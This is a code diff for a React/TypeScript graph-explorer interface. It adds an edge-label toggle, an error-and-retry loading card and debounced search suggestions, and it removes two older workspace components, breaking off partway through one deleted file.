[zoomTier, setZoomTier] = useState("overview"); const [analyticsSnapshot, setAnalyticsSnapshot] = useState(null); @@ -1323,6 +1343,7 @@ export const GraphCanvas = forwardRef( onEdgeClickRef.current = onEdgeClick; onSceneRuntimeChangeRef.current = onSceneRuntimeChange; onCameraStateChangeRef.current = onCameraStateChange; + effectsStateRef.current = effectsState; const behaviors = useMemo( () => [ @@ -1835,7 +1856,13 @@ export const GraphCanvas = forwardRef( return; } - const sigma = new Sigma(displayGraphRef.current, containerRef.current, SIGMA_SETTINGS); + const sigma = new Sigma(displayGraphRef.current, containerRef.current, { + ...SIGMA_SETTINGS, + // #1009: initialize with the current toggle value rather than the + // static default so that a user who disabled Edge Labels before + // graph/Sigma initialization sees the correct state after mount. + renderEdgeLabels: effectsStateRef.current.edgeLabelsEnabled, + }); sigmaRef.current = sigma; appliedGraphVersionRef.current = graphVersionRef.current; @@ -1937,6 +1964,17 @@ export const GraphCanvas = forwardRef( }); }, [behaviors, dispatchToBehaviors, getBehaviorContext, graphReady, syncCameraState]); + // #1009: renderEdgeLabels follows the Effects-panel toggle instead of + // staying hardcoded — dense graphs get their label-free edges back. + useEffect(() => { + const sigma = sigmaRef.current; + if (!sigma) { + return; + } + sigma.setSetting("renderEdgeLabels", effectsState.edgeLabelsEnabled); + sigma.scheduleRefresh(); + }, [effectsState.edgeLabelsEnabled]); + useEffect(() => { return () => { const sigma = sigmaRef.current; diff --git a/explorer/src/workspaces/GraphWorkspace/GraphLoadingOverlay.tsx b/explorer/src/workspaces/GraphWorkspace/GraphLoadingOverlay.tsx index 77a94130..a1ca4ea8 100644 --- a/explorer/src/workspaces/GraphWorkspace/GraphLoadingOverlay.tsx +++ b/explorer/src/workspaces/GraphWorkspace/GraphLoadingOverlay.tsx @@ -1,4 +1,5 @@ import { useEffect, useRef, useState, type CSSProperties } from "react"; +import { AlertTriangle, RefreshCw } from "lucide-react"; import { GRAPH_THEME, withAlpha } from "./graphTheme"; import { GRAPH_LOAD_STAGE_SEQUENCE, createGraphLoadProgress, getGraphLoadStageLabel } from "./graphLoading"; @@ -121,6 +122,58 @@ const LOADING_OVERLAY_CSS = ` 0% { transform: translateX(-120%); } 100% { transform: translateX(360%); } } + .graph-stage-loader-card[data-error="true"] { + pointer-events: auto; + border-color: rgba(255, 123, 114, 0.32); + background: + radial-gradient(circle at top left, rgba(255, 123, 114, 0.12), transparent 32%), + linear-gradient(145deg, rgba(7, 17, 31, 0.96), rgba(24, 14, 18, 0.86)); + } + .graph-stage-loader-error-mark { + width: 38px; + height: 38px; + flex: 0 0 auto; + border-radius: 12px; + display: grid; + place-items: center; + color: #ff9e97; + background: rgba(255, 123, 114, 0.12); + border: 1px solid rgba(255, 123, 114, 0.28); + } + .graph-stage-loader-error-detail { + padding: 10px 12px; + border-radius: 10px; + background: rgba(0, 0, 0, 0.32); + border: 1px solid rgba(255, 123, 114, 0.18); + color: #ffb4ae; + font-family: "JetBrains Mono", "Fira Code", Consolas, monospace; + font-size: 12px; + line-height: 1.55; + word-break: break-word; + } + .graph-stage-loader-retry { + display: inline-flex; + align-items: center; + gap: 7px; + padding: 9px 16px; + border-radius: 8px; + font-size: 13px; + font-weight: 700; + cursor: pointer; + border: 1px solid rgba(127, 208, 255, 0.4); + background: linear-gradient(135deg, rgba(74, 163, 255, 0.28), rgba(56, 210, 160, 0.16)); + color: #e8f6ff; + transition: 160ms ease; + } + .graph-stage-loader-retry:hover { + border-color: rgba(127, 208, 255, 0.62); + background: linear-gradient(135deg, rgba(74, 163, 255, 0.4), rgba(56, 210, 160, 0.24)); + transform: translateY(-1px); + } + .graph-stage-loader-retry:focus-visible { + outline: 2px solid #7fd0ff; + outline-offset: 2px; + } `; function formatLayoutSource(source: GraphLoadProgress["layoutSource"]) { @@ -170,10 +223,14 @@ export function GraphLoadingOverlay({ progress, visible, showGraphBehind, + error = null, + onRetry, }: { progress: GraphLoadProgress | null; visible: boolean; showGraphBehind: boolean; + error?: string | null; + onRetry?: () => void; }) { const [renderVisible, setRenderVisible] = useState(visible); const [exiting, setExiting] = useState(false); @@ -226,6 +283,44 @@ export function GraphLoadingOverlay({ return null; } + if (error) { + return ( +
+ +
+
+ +
+
+ Could not load the graph +
+
+ The Explorer API did not return graph data. Check that the backend is running and reachable, then try again. +
+
+
+ +
{error}
+ + {onRetry ? ( +
+ +
+ ) : null} +
+
+ ); + } + const activeProgress = progress ?? displayProgress; const isLiveStage = activeProgress.phase === "stabilizing_layout" || activeProgress.showGraphBehind || showGraphBehind; const overlayBackground = isLiveStage diff --git a/explorer/src/workspaces/GraphWorkspace/GraphRuntimeStage.tsx b/explorer/src/workspaces/GraphWorkspace/GraphRuntimeStage.tsx deleted file mode 100644 index 009b22bb..00000000 --- a/explorer/src/workspaces/GraphWorkspace/GraphRuntimeStage.tsx +++ /dev/null @@ -1,479 +0,0 @@ -import { forwardRef, useEffect, useImperativeHandle, useMemo, useRef, useState } from "react"; - -import { batchMergeEdges, batchMergeNodes, clearGraph, graph, type EdgeAttributes, type NodeAttributes } from "../../store/graphStore"; -import { SigmaSceneAdapter } from "./SigmaSceneAdapter"; -import { createGraphLoadProgress } from "./graphLoading"; -import { resolveDisplayGraph } from "./graphSceneState"; -import { - chooseColorAccessor, - colorForNodeKey, - computeDegreeMap, - computeEdgeSize, - computeNodeSize, - computePageRank, - deterministicPosition, -} from "./graphAnalytics"; -import { GRAPH_THEME } from "./graphConfig"; -import type { GraphSceneHandle } from "./scene"; -import type { - GraphDataSnapshot, - GraphEffectsState, - GraphLayoutSource, - GraphLayoutStatus, - GraphLoadProgress, - GraphPath, - GraphSelectedNodeState, - GraphStageHandle, - GraphViewMode, -} from "./types"; - -const STAGE_EFFECTS_STATE: GraphEffectsState = { - pathPulseEnabled: false, - pathFlowEnabled: false, - lensEnabled: false, - temporalEmphasisEnabled: false, - semanticRegionsEnabled: false, - contoursEnabled: false, - pathfindingEnabled: false, - communitiesEnabled: false, - centralityEnabled: false, - legendEnabled: false, - diagnosticsEnabled: false, - lensMode: "neighborhood", - effectQuality: "bounded", -}; -const EMPTY_PATH: string[] = []; - -const socketProtocol = () => (window.location.protocol === "https:" ? "wss:" : "ws:"); - -function yieldToMain(): Promise { - if ("scheduler" in window && typeof (window as Window & { scheduler?: { yield?: () => Promise } }).scheduler?.yield === "function") { - return (window as Window & { scheduler: { yield: () => Promise } }).scheduler.yield(); - } - return new Promise((resolve) => setTimeout(resolve, 0)); -} - -function buildSelectedNodeState(nodeId: string): GraphSelectedNodeState | null { - if (!nodeId || !graph.hasNode(nodeId)) { - return null; - } - - const attributes = graph.getNodeAttributes(nodeId) as NodeAttributes; - return { - id: nodeId, - label: String(attributes.label || nodeId), - content: String(attributes.content || attributes.label || nodeId), - nodeType: attributes.nodeType || "entity", - color: attributes.color, - valid_from: attributes.valid_from ?? null, - valid_until: attributes.valid_until ?? null, - properties: attributes.properties ?? {}, - neighborCount: graph.neighbors(nodeId).length, - visibleNeighborCount: graph.neighbors(nodeId).length, - collapsedNeighborCount: 0, - isNeighborhoodCollapsed: false, - canCollapseNeighborhood: graph.neighbors(nodeId).length > 8, - }; -} - -function hasUsableCoordinate(value: unknown): value is number { - return typeof value === "number" && Number.isFinite(value); -} - -interface GraphRuntimeStageProps { - snapshot: GraphDataSnapshot | null | undefined; - selectedNodeId: string; - activePath: GraphPath; - onNodeSelect: (nodeId: string) => void; - onSelectedNodeStateChange: (state: GraphSelectedNodeState | null) => void; - isLayoutRunning: boolean; - onLayoutRunningChange: (running: boolean) => void; - viewMode: GraphViewMode; - temporalTime: Date | null; - onActiveNodeCountChange: (count: number | null) => void; - onProgressChange: (progress: GraphLoadProgress | null) => void; - onLayoutStatusChange: (status: GraphLayoutStatus) => void; - onRuntimeReady: () => void; -} - -export const GraphRuntimeStage = forwardRef( - function GraphRuntimeStage( - { - snapshot, - selectedNodeId, - activePath, - onNodeSelect, - onSelectedNodeStateChange, - isLayoutRunning, - onLayoutRunningChange, - viewMode, - temporalTime, - onActiveNodeCountChange, - onProgressChange, - onLayoutStatusChange, - onRuntimeReady, - }, - ref, - ) { - const sceneRef = useRef(null); - const prevActiveIdsRef = useRef>(new Set()); - const [graphVersion, setGraphVersion] = useState(0); - const [runtimeLayoutSource, setRuntimeLayoutSource] = useState(snapshot?.summary.layoutSource ?? "runtime"); - const displayResult = useMemo( - () => resolveDisplayGraph(selectedNodeId, activePath, EMPTY_PATH, viewMode, { aggregationEnabled: true }), - [activePath, graphVersion, selectedNodeId, viewMode], - ); - - const stageSignature = useMemo(() => (snapshot ? `${snapshot.fetchedAt}:${snapshot.summary.nodeCount}:${snapshot.summary.edgeCount}` : null), [snapshot]); - - useImperativeHandle(ref, () => ({ - fitView: () => sceneRef.current?.fitView(), - focusNode: (nodeId: string) => sceneRef.current?.focusNode(nodeId), - }), []); - - useEffect(() => { - let cancelled = false; - - async function hydrateSnapshot() { - if (!snapshot) { - return; - } - - onProgressChange(createGraphLoadProgress({ - phase: "computing_styling", - progressKind: "indeterminate", - nodesLoaded: snapshot.summary.nodeCount, - nodesTotal: snapshot.summary.nodeCount, - edgesLoaded: snapshot.summary.edgeCount, - edgesTotal: snapshot.summary.edgeCount, - message: "Computing runtime graph styling", - showGraphBehind: false, - })); - - const degreeByNode = computeDegreeMap(snapshot.nodes, snapshot.edges); - const pageRankByNode = computePageRank(snapshot.nodes, snapshot.edges); - const nodeIndexById = new Map(snapshot.nodes.map((node, index) => [node.id, index])); - const previousPositions = new Map(); - - graph.forEachNode((nodeId, attributes) => { - const raw = attributes as Partial; - const x = Number(raw.x); - const y = Number(raw.y); - if (Number.isFinite(x) && Number.isFinite(y)) { - previousPositions.set(nodeId, { x, y }); - } - }); - - let explicitCoordinateCount = 0; - let carriedCoordinateCount = 0; - const draftAttributes = snapshot.nodes.map((node) => { - const previousPosition = previousPositions.get(node.id); - const position = hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y) - ? { x: node.x, y: node.y } - : previousPosition - ? previousPosition - : deterministicPosition(node.id, nodeIndexById.get(node.id) ?? 0, snapshot.nodes.length); - - if (hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)) { - explicitCoordinateCount += 1; - } else if (previousPosition) { - carriedCoordinateCount += 1; - } - - return { - id: node.id, - attributes: { - label: node.content || node.id, - x: position.x, - y: position.y, - nodeType: node.type, - content: node.content, - valid_from: node.valid_from, - valid_until: node.valid_until, - properties: node.properties, - } as NodeAttributes, - }; - }); - - const layoutSource: GraphLayoutSource = explicitCoordinateCount > 0 - ? "provided" - : carriedCoordinateCount > 0 - ? "carried" - : "runtime"; - const hasCoordinates = explicitCoordinateCount > 0 || carriedCoordinateCount > 0; - setRuntimeLayoutSource(layoutSource); - - const colorAccessor = chooseColorAccessor(draftAttributes); - await yieldToMain(); - if (cancelled) { - return; - } - - onProgressChange(createGraphLoadProgress({ - phase: "hydrating_scene", - progressKind: "indeterminate", - nodesLoaded: snapshot.summary.nodeCount, - nodesTotal: snapshot.summary.nodeCount, - edgesLoaded: snapshot.summary.edgeCount, - edgesTotal: snapshot.summary.edgeCount, - message: "Hydrating graph scene and renderer", - showGraphBehind: false, - })); - - const nodesToMerge = draftAttributes.map(({ id, attributes }) => { - const colorKey = colorAccessor(id, attributes); - const baseColor = colorForNodeKey(colorKey); - const dynamicSize = computeNodeSize(id, degreeByNode, pageRankByNode); - return { - id, - attributes: { - ...attributes, - color: baseColor, - baseColor, - size: dynamicSize, - baseSize: dynamicSize, - degree: degreeByNode.get(id) ?? 0, - pageRank: pageRankByNode.get(id) ?? 0, - glowColor: baseColor, - borderColor: GRAPH_THEME.nodes.border, - borderSize: 1, - } as NodeAttributes, - }; - }); - - const edgesToMerge = snapshot.edges.map((edge) => ({ - id: edge.id, - familyId: edge.familyId, - source: edge.source, - target: edge.target, - attributes: { - edgeId: edge.id, - familyId: edge.familyId, - sourceId: edge.source, - targetId: edge.target, - weight: edge.weight, - edgeType: edge.type, - properties: edge.properties, - size: computeEdgeSize(edge.weight), - baseSize: computeEdgeSize(edge.weight), - color: GRAPH_THEME.edges.baseColor, - baseColor: GRAPH_THEME.edges.baseColor, - } as EdgeAttributes, - })); - - clearGraph(); - batchMergeNodes(nodesToMerge); - batchMergeEdges(edgesToMerge); - prevActiveIdsRef.current = new Set(snapshot.nodes.map((node) => node.id)); - - await yieldToMain(); - if (cancelled) { - return; - } - - onLayoutStatusChange({ - state: layoutSource === "runtime" ? "bootstrapping" : "interactive", - source: layoutSource, - hasCoordinates, - layoutReady: layoutSource !== "runtime", - displacement: null, - elapsedMs: 0, - stableSamples: 0, - }); - - onLayoutRunningChange(layoutSource === "runtime"); - if (selectedNodeId) { - sceneRef.current?.focusNode(selectedNodeId); - } else { - sceneRef.current?.getRuntime()?.requestRender(); - } - setGraphVersion((current) => current + 1); - if (layoutSource !== "runtime") { - onProgressChange(null); - } else { - onProgressChange(createGraphLoadProgress({ - phase: "stabilizing_layout", - progressKind: "indeterminate", - nodesLoaded: snapshot.summary.nodeCount, - nodesTotal: snapshot.summary.nodeCount, - edgesLoaded: snapshot.summary.edgeCount, - edgesTotal: snapshot.summary.edgeCount, - message: "Settling runtime layout", - showGraphBehind: true, - layoutSource, - layoutState: "bootstrapping", - })); - } - onRuntimeReady(); - } - - void hydrateSnapshot(); - return () => { - cancelled = true; - }; - }, [onLayoutRunningChange, onLayoutStatusChange, onProgressChange, onRuntimeReady, selectedNodeId, snapshot, stageSignature]); - - useEffect(() => { - if (!selectedNodeId) { - onSelectedNodeStateChange(null); - return; - } - - onSelectedNodeStateChange(buildSelectedNodeState(selectedNodeId)); - }, [graphVersion, onSelectedNodeStateChange, selectedNodeId, viewMode]); - - useEffect(() => { - if (!snapshot || !temporalTime) { - return; - } - - let cancelled = false; - - const applySnapshot = async () => { - try { - const response = await fetch(`/api/temporal/snapshot?at=${encodeURIComponent(temporalTime.toISOString())}`); - if (!response.ok || cancelled) { - return; - } - - const data: { active_node_ids: string[]; active_node_count: number } = await response.json(); - if (cancelled) { - return; - } - - const nextActiveIds = new Set(data.active_node_ids); - requestAnimationFrame(() => { - if (cancelled) { - return; - } - - const previous = prevActiveIdsRef.current; - previous.forEach((id) => { - if (!nextActiveIds.has(id) && graph.hasNode(id)) { - graph.setNodeAttribute(id, "hidden", true); - } - }); - nextActiveIds.forEach((id) => { - if (graph.hasNode(id)) { - graph.setNodeAttribute(id, "hidden", false); - } - }); - - prevActiveIdsRef.current = nextActiveIds; - onActiveNodeCountChange(data.active_node_count); - sceneRef.current?.getRuntime()?.requestRender(); - }); - } catch (error) { - if (!cancelled) { - console.error("[GraphRuntimeStage] temporal snapshot failed", error); - } - } - }; - - void applySnapshot(); - return () => { - cancelled = true; - }; - }, [onActiveNodeCountChange, snapshot, temporalTime]); - - useEffect(() => { - const socket = new WebSocket(`${socketProtocol()}//${window.location.host}/ws/graph-updates`); - - socket.onmessage = (event) => { - try { - const message = JSON.parse(event.data); - if (message.event === "connection_ack" || message.event !== "graph_mutation") { - return; - } - - const eventType = message.data?.event_type; - const payload = message.data?.payload; - if (eventType === "ADD_NODE" && payload?.id) { - batchMergeNodes([ - { - id: payload.id, - attributes: { - label: payload.properties?.content || payload.id, - x: Number.isFinite(Number(payload.x ?? payload.properties?.x)) - ? Number(payload.x ?? payload.properties?.x) - : deterministicPosition(payload.id, graph.order + 1, Math.max(graph.order + 1, 1)).x, - y: Number.isFinite(Number(payload.y ?? payload.properties?.y)) - ? Number(payload.y ?? payload.properties?.y) - : deterministicPosition(payload.id, graph.order + 1, Math.max(graph.order + 1, 1)).y, - nodeType: payload.type, - content: payload.properties?.content || payload.id, - valid_from: payload.properties?.valid_from ?? null, - valid_until: payload.properties?.valid_until ?? null, - properties: payload.properties || {}, - size: 8, - color: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`), - baseColor: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`), - baseSize: 8, - glowColor: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`), - borderColor: GRAPH_THEME.nodes.border, - borderSize: 1, - }, - }, - ]); - } - - if (eventType === "ADD_EDGE" && payload?.source_id && payload?.target_id) { - batchMergeEdges([ - { - id: String(payload.id), - familyId: payload.familyId ? String(payload.familyId) : String(payload.id), - source: payload.source_id, - target: payload.target_id, - attributes: { - edgeId: String(payload.id), - familyId: payload.familyId ? String(payload.familyId) : String(payload.id), - sourceId: payload.source_id, - targetId: payload.target_id, - weight: Number(payload.weight ?? 1), - edgeType: payload.type, - properties: payload.properties || {}, - size: computeEdgeSize(Number(payload.weight ?? 1)), - baseSize: computeEdgeSize(Number(payload.weight ?? 1)), - color: payload.properties?.inferred ? GRAPH_THEME.edges.pathColor : GRAPH_THEME.edges.baseColor, - baseColor: GRAPH_THEME.edges.baseColor, - }, - }, - ]); - } - - sceneRef.current?.getRuntime()?.requestRender(); - setGraphVersion((current) => current + 1); - } catch (error) { - console.error("[GraphRuntimeStage] websocket update failed", error); - } - }; - - return () => { - socket.close(); - }; - }, []); - - return ( - - ); - }, -); diff --git a/explorer/src/workspaces/GraphWorkspace/GraphWorkspace.tsx b/explorer/src/workspaces/GraphWorkspace/GraphWorkspace.tsx index df2cd6ec..1a9cface 100644 --- a/explorer/src/workspaces/GraphWorkspace/GraphWorkspace.tsx +++ b/explorer/src/workspaces/GraphWorkspace/GraphWorkspace.tsx @@ -1,4 +1,4 @@ -import { useCallback, useEffect, useMemo, useRef, useState, type ComponentType, type ReactNode } from "react"; +import { useCallback, useEffect, useId, useMemo, useRef, useState, type ComponentType, type ReactNode } from "react"; import { Activity, Clock3, @@ -12,6 +12,7 @@ import { RefreshCw, Search, Users, + X, ZoomIn, ZoomOut, } from "lucide-react"; @@ -39,6 +40,7 @@ import { type GraphPluginToolbarItem, } from "./plugins"; import { explorationEffectsShouldLoad, neighborhoodPanelShouldLoad, temporalOverlayShouldLoad } from "./pluginRegistryPredicates"; +import { shouldFetchTemporalBounds, shouldFetchTemporalSnapshot } from "./temporalLifecyclePredicates"; import type { LinkPrediction, PathResponse } from "./GraphInspectorPanel"; import type { GraphSceneHandle, GraphSceneRuntime } from "./scene"; import type { @@ -146,6 +148,7 @@ const DEFAULT_EFFECTS_STATE: GraphEffectsState = { communitiesEnabled: false, centralityEnabled: false, legendEnabled: false, + edgeLabelsEnabled: true, diagnosticsEnabled: false, lensMode: "neighborhood", effectQuality: "bounded", @@ -282,37 +285,168 @@ function SegmentedModeControl({ items }: { items: GraphToolbarItem[] }) { ); } +const SUGGESTION_DEBOUNCE_MS = 250; +const SUGGESTION_LIMIT = 6; + function SearchCommandBar({ value, disabled, onChange, onSubmit, + onSelectSuggestion, }: { value: string; disabled: boolean; onChange: (value: string) => void; onSubmit: () => void; + onSelectSuggestion: (result: SearchResult) => void; }) { + const [suggestions, setSuggestions] = useState([]); + const [suggestionsOpen, setSuggestionsOpen] = useState(false); + const [highlightedIndex, setHighlightedIndex] = useState(-1); + const abortRef = useRef(null); + const debounceRef = useRef(null); + const listboxId = useId(); + + useEffect(() => { + if (debounceRef.current !== null) { + window.clearTimeout(debounceRef.current); + } + + const query = value.trim(); + if (disabled || !query) { + abortRef.current?.abort(); + setSuggestions([]); + setSuggestionsOpen(false); + setHighlightedIndex(-1); + return; + } + + debounceRef.current = window.setTimeout(() => { + abortRef.current?.abort(); + const controller = new AbortController(); + abortRef.current = controller; + + fetch("/api/graph/search", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ query, limit: SUGGESTION_LIMIT }), + signal: controller.signal, + }) + .then((response) => { + if (!response.ok) { + throw new Error(`Search failed with status ${response.status}`); + } + return response.json(); + }) + .then((data: { results?: SearchResult[] }) => { + setSuggestions(data.results ?? []); + setSuggestionsOpen(true); + setHighlightedIndex(-1); + }) + .catch((suggestionError: unknown) => { + if (suggestionError instanceof DOMException && suggestionError.name === "AbortError") { + return; + } + setSuggestions([]); + setSuggestionsOpen(false); + setHighlightedIndex(-1); + }); + }, SUGGESTION_DEBOUNCE_MS); + + return () => { + if (debounceRef.current !== null) { + window.clearTimeout(debounceRef.current); + } + abortRef.current?.abort(); + }; + }, [value, disabled]); + + const closeSuggestions = () => { + setSuggestionsOpen(false); + setHighlightedIndex(-1); + }; + + const selectSuggestion = (result: SearchResult) => { + setSuggestions([]); + closeSuggestions(); + onSelectSuggestion(result); + }; + return (
0} + aria-haspopup="listbox" + aria-owns={listboxId} onSubmit={(event) => { event.preventDefault(); - if (!disabled) { - onSubmit(); + if (disabled) return; + if (suggestionsOpen && highlightedIndex >= 0 && suggestions[highlightedIndex]) { + selectSuggestion(suggestions[highlightedIndex]); + return; } + closeSuggestions(); + onSubmit(); }} > onChange(event.target.value)} + onFocus={() => { + if (suggestions.length > 0) { + setSuggestionsOpen(true); + } + }} + onBlur={() => { + window.setTimeout(closeSuggestions, 120); + }} + onKeyDown={(event) => { + if (!suggestionsOpen || suggestions.length === 0) return; + if (event.key === "ArrowDown") { + event.preventDefault(); + setHighlightedIndex((current) => (current + 1) % suggestions.length); + } else if (event.key === "ArrowUp") { + event.preventDefault(); + setHighlightedIndex((current) => (current <= 0 ? suggestions.length - 1 : current - 1)); + } else if (event.key === "Escape") { + event.preventDefault(); + closeSuggestions(); + } + }} placeholder="Search command, node, or concept" aria-label="Search graph nodes" + aria-autocomplete="list" + aria-controls={listboxId} + aria-activedescendant={highlightedIndex >= 0 ? `${listboxId}-${highlightedIndex}` : undefined} /> + + {suggestionsOpen && suggestions.length > 0 ? ( +
    + {suggestions.map((result, index) => ( +
  • { + event.preventDefault(); + selectSuggestion(result); + }} + onMouseEnter={() => setHighlightedIndex(index)} + > + {result.node.content || result.node.id} + {result.node.type} +
  • + ))} +
+ ) : null} ); } @@ -577,6 +711,7 @@ const HUD_CSS = ` gap: 10px; } .explore-search-command { + position: relative; min-width: 0; height: 43px; display: grid; @@ -592,6 +727,50 @@ const HUD_CSS = ` color: ${GRAPH_THEME.ui.text.muted}; box-shadow: inset 0 1px 0 rgba(255,255,255,0.045), 0 14px 30px rgba(0,0,0,0.16); } + .explore-search-suggestions { + position: absolute; + top: calc(100% + 6px); + left: 0; + right: 0; + z-index: 30; + margin: 0; + padding: 6px; + list-style: none; + max-height: 288px; + overflow-y: auto; + border-radius: 14px; + border: 1px solid ${GRAPH_THEME.ui.control.inputBorder}; + background: ${GRAPH_THEME.ui.surface.cardStrong}; + box-shadow: 0 18px 40px rgba(0,0,0,0.32), inset 0 1px 0 rgba(255,255,255,0.04); + } + .explore-search-suggestions li { + display: flex; + align-items: baseline; + justify-content: space-between; + gap: 10px; + padding: 8px 10px; + border-radius: 10px; + cursor: pointer; + color: ${GRAPH_THEME.ui.text.body}; + } + .explore-search-suggestions li[data-highlighted="true"] { + background: ${GRAPH_THEME.ui.control.hoverBg}; + } + .explore-search-suggestion-label { + min-width: 0; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + font-size: 13px; + font-weight: 600; + } + .explore-search-suggestion-type { + flex-shrink: 0; + font-size: 11px; + color: ${GRAPH_THEME.ui.text.subtle}; + text-transform: uppercase; + letter-spacing: 0.04em; + } .explore-search-command:focus-within { border-color: ${GRAPH_THEME.ui.control.activeBorder}; box-shadow: inset 0 1px 0 rgba(255,255,255,0.06), 0 0 0 1px ${GRAPH_THEME.ui.control.focusRing}, 0 16px 32px rgba(0,0,0,0.18); @@ -1225,12 +1404,28 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap })); }, []); - const { data: summary, isLoading, isFetching } = useLoadGraph({ + const { + data: summary, + isLoading, + isFetching, + isError: isGraphLoadError, + error: graphLoadError, + refetch: refetchGraph, + } = useLoadGraph({ enabled: true, onGraphReady: applyGraphReadySummary, onProgress: handleLoadProgress, }); + const graphLoadErrorMessage = isGraphLoadError + ? (graphLoadError instanceof Error ? graphLoadError.message : "Unknown error while loading the graph.") + : null; + + const handleRetryGraphLoad = useCallback(() => { + setLoadingProgress(null); + void refetchGraph(); + }, [refetchGraph]); + useEffect(() => { if (isLayoutRunning) { return; @@ -1247,7 +1442,18 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap applyGraphReadySummary(summary); }, [applyGraphReadySummary, graphReady, summary]); + const canFetchTemporalBounds = shouldFetchTemporalBounds(summary); + const canFetchTemporalSnapshot = shouldFetchTemporalSnapshot({ + debouncedTime, + isLoading, + summary, + }); + useEffect(() => { + if (!canFetchTemporalBounds) { + return; + } + let cancelled = false; const loadBounds = async () => { try { @@ -1267,10 +1473,21 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap return () => { cancelled = true; }; - }, [summary?.nodeCount, summary?.edgeCount]); + }, [ + canFetchTemporalBounds, + summary?.nodeCount, + summary?.edgeCount, + ]); useEffect(() => { - if (!debouncedTime || isLoading) return; + if (!canFetchTemporalSnapshot) { + return; + } + + if (!debouncedTime) { + return; + } + let cancelled = false; const applySnapshot = async () => { @@ -1312,7 +1529,10 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap return () => { cancelled = true; }; - }, [debouncedTime, isLoading]); + }, [ + canFetchTemporalSnapshot, + debouncedTime, + ]); const resolveNodeIdForFocusedMode = useCallback(( nodeId: string, @@ -1523,6 +1743,11 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap } }, [searchQuery]); + const handleClearSearchResults = useCallback(() => { + setSearchResults([]); + setSearchError(""); + }, []); + const handleRunPredictions = useCallback(async () => { if (!inspectableNodeId) return; setIsRunningPredictions(true); @@ -1901,7 +2126,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap viewMode, ]); - const showLoadingOverlay = !graphReady && (isLoading || isFetching || Boolean(loadingProgress)); + const showLoadingOverlay = !graphReady && (isLoading || isFetching || Boolean(loadingProgress) || isGraphLoadError); const showSettlingStatus = graphReady && loadingProgress?.phase === "stabilizing_layout"; const hasGraphContent = Boolean(summary?.nodeCount); const activePath = pathResult?.path ?? EMPTY_PATH; @@ -2764,6 +2989,10 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap disabled={searchDisabled} onChange={setSearchQuery} onSubmit={() => void handleSearch()} + onSelectSuggestion={(result) => { + setSearchQuery(""); + focusNode(result.node.id); + }} />
@@ -2839,20 +3068,36 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap {searchError ?
{searchError}
: null} {searchResults.length ? ( -
- {searchResults.map((result) => ( - - ))} +
+
+ {searchResults.map((result) => ( + + ))} +
) : null} @@ -2946,6 +3191,8 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap progress={loadingProgress} visible={showLoadingOverlay} showGraphBehind={hasGraphContent || Boolean(loadingProgress?.showGraphBehind)} + error={graphLoadErrorMessage} + onRetry={handleRetryGraphLoad} />
diff --git a/explorer/src/workspaces/GraphWorkspace/GraphWorkspaceShell.tsx b/explorer/src/workspaces/GraphWorkspace/GraphWorkspaceShell.tsx deleted file mode 100644 index 7a085544..00000000 --- a/explorer/src/workspaces/GraphWorkspace/GraphWorkspaceShell.tsx +++ /dev/null @@ -1,862 +0,0 @@ -import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState, type CSSProperties } from "react"; - -import { GraphLoadingOverlay } from "./GraphLoadingOverlay"; -import { getGraphLoadTitle } from "./graphLoading"; -import { useGraphData, useReloadGraphData } from "./useGraphData"; -import type { - ApiNode, - GraphLayoutStatus, - GraphLoadProgress, - GraphPath, - GraphSelectedNodeState, - GraphStageHandle, - GraphViewMode, -} from "./types"; - -type SearchResult = { - node: { - id: string; - type: string; - content: string; - properties: Record; - }; - score: number; -}; - -type LinkPrediction = { - target: string; - type: string; - label?: string; - score: number; -}; - -type PathResponse = { - path: GraphPath; - total_weight: number; - hop_count: number; - distance_band: "direct" | "near" | "mid-range" | "distant"; -}; - -type TemporalBounds = { - min?: string | null; - max?: string | null; -}; - -const GraphRuntimeStage = lazy(() => - import("./GraphRuntimeStage").then((module) => ({ default: module.GraphRuntimeStage })), -); -const TimelinePanel = lazy(() => - import("./TimelinePanel").then((module) => ({ default: module.TimelinePanel })), -); - -const HUD_CSS = ` - .palantir-bg { - background: - radial-gradient(circle at top, rgba(103, 182, 255, 0.1), transparent 24%), - linear-gradient(180deg, #07111d 0%, #02060e 100%); - } - .palantir-grid { - position: absolute; - inset: 0; - background-image: - linear-gradient(rgba(88, 166, 255, 0.04) 1px, transparent 1px), - linear-gradient(90deg, rgba(88, 166, 255, 0.04) 1px, transparent 1px); - background-size: 44px 44px; - pointer-events: none; - z-index: 1; - opacity: 0.78; - } - .palantir-vignette { - position: absolute; - inset: 0; - background: radial-gradient(ellipse at center, transparent 34%, rgba(1, 4, 9, 0.88) 100%); - pointer-events: none; - z-index: 2; - } - .hud-scrollbar::-webkit-scrollbar { width: 6px; } - .hud-scrollbar::-webkit-scrollbar-track { background: transparent; } - .hud-scrollbar::-webkit-scrollbar-thumb { background: rgba(88, 166, 255, 0.25); border-radius: 6px; } - .graph-shell-top { position: absolute; top: 18px; left: 18px; right: 18px; z-index: 10; display: flex; justify-content: space-between; align-items: flex-start; gap: 16px; pointer-events: none; } - .graph-status-card, .graph-command-card { - pointer-events: auto; - border: 1px solid rgba(132, 197, 255, 0.12); - background: linear-gradient(180deg, rgba(7, 16, 29, 0.86), rgba(10, 22, 39, 0.72)), radial-gradient(circle at top, rgba(103, 182, 255, 0.08), transparent 50%); - box-shadow: 0 18px 42px rgba(0, 0, 0, 0.28), inset 0 1px 0 rgba(255,255,255,0.04); - backdrop-filter: blur(18px); - } - .graph-status-card { width: min(420px, 38vw); border-radius: 24px; padding: 16px 18px; } - .graph-command-card { width: min(620px, 55vw); border-radius: 24px; 